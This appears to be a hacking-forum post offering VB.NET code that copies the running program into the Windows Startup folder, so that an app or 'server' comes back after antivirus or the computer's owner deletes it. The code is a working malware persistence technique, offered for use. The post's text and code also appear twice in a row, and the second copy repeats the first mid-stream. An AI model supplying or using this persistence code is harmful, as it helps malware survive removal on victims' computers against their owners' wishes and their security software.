hey many of y add his application or server in startup but the antivrus
or user pc delte your app so this code wll help you tp protect your app
your app will use the use the app in startup by FileStream !!
just tested
'writed by xvipx
Dim fs As IO.FileStream
fs = New IO.FileStream(Environment.GetFolderPath(7) & "\" & "!name.exe", IO.FileMode.CreateNew)
Dim b As Byte() = IO.File.ReadAllBytes(Reflection.Assembly.GetEntryAssembly.Location)
fs.Write(b, 0, b.Length)
fs.Flush()
good luck
or user pc delte your app so this code wll help you tp protect your app
your app will use the use the app in startup by FileStream !!
just tested
'writed by xvipx
Dim fs As IO.FileStream
fs = New IO.FileStream(Environment.GetFolderPath(7) & "\" & "!name.exe", IO.FileMode.CreateNew)
Dim b As Byte() = IO.File.ReadAllBytes(Reflection.Assembly.GetEntryAssembly.Location)
fs.Write(b, 0, b.Length)
fs.Flush()
good luck

